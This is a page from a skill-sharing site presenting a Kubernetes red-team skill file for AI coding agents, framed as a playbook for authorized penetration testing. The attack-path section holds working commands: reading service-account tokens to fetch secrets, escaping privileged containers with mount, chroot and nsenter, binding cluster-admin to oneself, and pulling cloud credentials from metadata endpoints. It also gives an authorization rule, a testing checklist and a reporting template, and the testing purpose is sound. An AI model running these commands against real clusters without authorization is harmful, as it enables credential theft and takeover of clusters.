agentleFS
foxj77foxj77/claude-code-skills/k8s-security-redteam/SKILL.md

k8s-security-redteam

Skill19 starsChanged 10 months agoMITView on GitHub

Use when conducting authorized penetration tests, performing security assessments, running red team exercises, testing security controls, identifying attack paths, or validating hardening measures

  • Installs packages

The file

We split this skill into the rules it gives an agent

1 rule. About 0 are common, 1 is distinctive, and 0 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈1

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    IMPORTANT: Only use these techniques on systems you have explicit written authorization to test.

    line 23

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Kubernetes Security Red Team

Perform offensive security testing of Kubernetes platforms including penetration testing, attack paths, and vulnerability assessment.

Keywords

kubernetes, security, red team, penetration testing, pentest, attack, exploiting, exploit, privilege escalation, container escape, rbac, secrets, vulnerability, assessment, offensive, conducting, performing, running, testing, identifying, validating

When to Use This Skill

  • Conducting authorized penetration tests
  • Performing security assessments
  • Running red team exercises
  • Testing security controls
  • Identifying attack paths
  • Validating hardening measures

IMPORTANT: Only use these techniques on systems you have explicit written authorization to test.

Related Skills

  • k8s-security-hardening - What defenses to test
  • k8s-platform-tenancy - Tenant isolation to test
  • k8s-platform-operations - Incident response after findings
  • k8s-continual-improvement - Track security debt
  • k8s-namespace-troubleshooting - Diagnose exploited namespaces
  • Shared: RBAC Patterns - RBAC to audit

Quick Reference

TaskCommand
Check permissionskubectl auth can-i --list
Find privileged podskubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged==true)'
List secretskubectl get secrets -A
Test anonymous accesskubectl --as=system:anonymous auth can-i --list

Attack Surface

External

  • Kubernetes API (TCP 6443)
  • Ingress controllers (TCP 80, 443)
  • NodePort services (TCP 30000-32767)
  • Exposed dashboards
  • Cloud metadata endpoints

Internal (from compromised pod)

  • Service account tokens
  • Secrets in environment/volumes
  • Network connectivity
  • Mounted volumes
  • Cloud IMDS

Reconnaissance

External

# Port scan
nmap -sV -p 6443,443,80,30000-32767 ${TARGET}

# Check anonymous access
curl -k https://${API_SERVER}:6443/api/v1/namespaces

# Test anonymous auth
kubectl --server=https://${API}:6443 --insecure-skip-tls-verify auth can-i --list

Internal (from pod)

# Current permissions
kubectl auth can-i --list

# SA token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Enumerate
kubectl get namespaces
kubectl get secrets -A
kubectl get pods -A -o wide

Attack Paths

1. Service Account Token Abuse

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/default/secrets

2. Privileged Container Escape

# Mount host filesystem
mkdir /host && mount /dev/sda1 /host
chroot /host

# Or nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

3. RBAC Escalation

# Check dangerous permissions
kubectl auth can-i escalate roles
kubectl auth can-i bind clusterroles
kubectl auth can-i impersonate users
kubectl auth can-i create pods/exec

# Escalate if can create rolebindings
kubectl create rolebinding pwn --clusterrole=cluster-admin --user=$(whoami)

4. Cloud Metadata Exploitation

AWS:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

GCP:

curl -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

Azure:

curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Cloud-Specific Attacks

AWS EKS

  • IRSA token theft from projected SA volumes
  • Node IAM role abuse via IMDS
  • aws-auth ConfigMap manipulation
  • EKS cluster role misconfiguration

GCP GKE

  • Workload Identity token theft
  • Metadata concealment bypass
  • GKE node service account abuse
  • Anthos Config Management exploitation

Azure AKS

  • Azure AD Pod Identity abuse
  • Managed Identity exploitation
  • AKS RBAC misconfiguration
  • Key Vault access via MI

Vulnerability Assessment Tools

Installation

# kubescape
brew install kubescape

# trivy (includes cluster scanning, image scanning, and k8s misconfiguration detection)
brew install trivy

Note: kube-hunter (formerly by Aqua Security) has been deprecated and is no longer maintained. Use trivy k8s for equivalent cluster vulnerability scanning.

Running Scans

# kubescape
kubescape scan framework nsa,mitre

# trivy cluster scan (replaces kube-hunter)
trivy k8s --report summary cluster

# trivy targeted scan
trivy k8s --namespace ${NAMESPACE} --report all

Testing Checklist

Authentication

  • Anonymous API access
  • Default dashboard credentials
  • Weak service account tokens
  • Missing token expiration

Authorization

  • Overly permissive RBAC
  • Privilege escalation paths
  • Cross-namespace access
  • Wrong secret access

Network

  • Missing network policies
  • Unrestricted pod traffic
  • Metadata endpoint access
  • External exposure

Container

  • Privileged containers
  • Host namespace access
  • Writable root filesystem
  • Capabilities not dropped

MITRE ATT&CK Mapping

TechniqueIDTest
Valid AccountsT1078Token leakage
Container AdminT1609kubectl exec
Escape to HostT1611Privileged abuse
Credential AccessT1555Secret enumeration
Lateral MovementT1021Pod-to-pod access

Reporting

Finding Template

## [CRITICAL/HIGH/MEDIUM/LOW] Finding Title

**Description**: What the vulnerability is

**Impact**: What an attacker could do

**Evidence**:
- Commands and output

**Affected Resources**:
- Specific resources

**Remediation**:
1. Immediate fix
2. Long-term solution

**References**:
- CIS control
- MITRE technique

Common Mistakes

MistakeWhy It FailsInstead
Testing production clusters without written scope documentCauses unplanned outages; legal and compliance exposureGet explicit written authorization defining scope, timing, and boundaries
Exploiting a vulnerability without documenting the stepsFinding cannot be reproduced or verified; remediation team cannot confirm fixRecord exact commands and outputs as you go
Leaving privileged pods or RoleBindings after testingAttackers can reuse your test artifacts as real attack vectorsClean up all artifacts immediately after each test phase
Assuming RBAC is the only access controlNetwork-level access, cloud IAM, and metadata endpoints bypass RBAC entirelyTest all attack surfaces: RBAC, network, cloud IMDS, runtime
Running scans at peak traffic hoursScanning generates load; may trigger alerts and degrade user experienceSchedule intensive scans during maintenance windows

Ethical Guidelines

  1. Written authorization required before testing
  2. Scope clearly defined and respected
  3. No production data exfiltration
  4. Report all findings responsibly
  5. Clean up any artifacts created
  6. Document everything for reproducibility

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.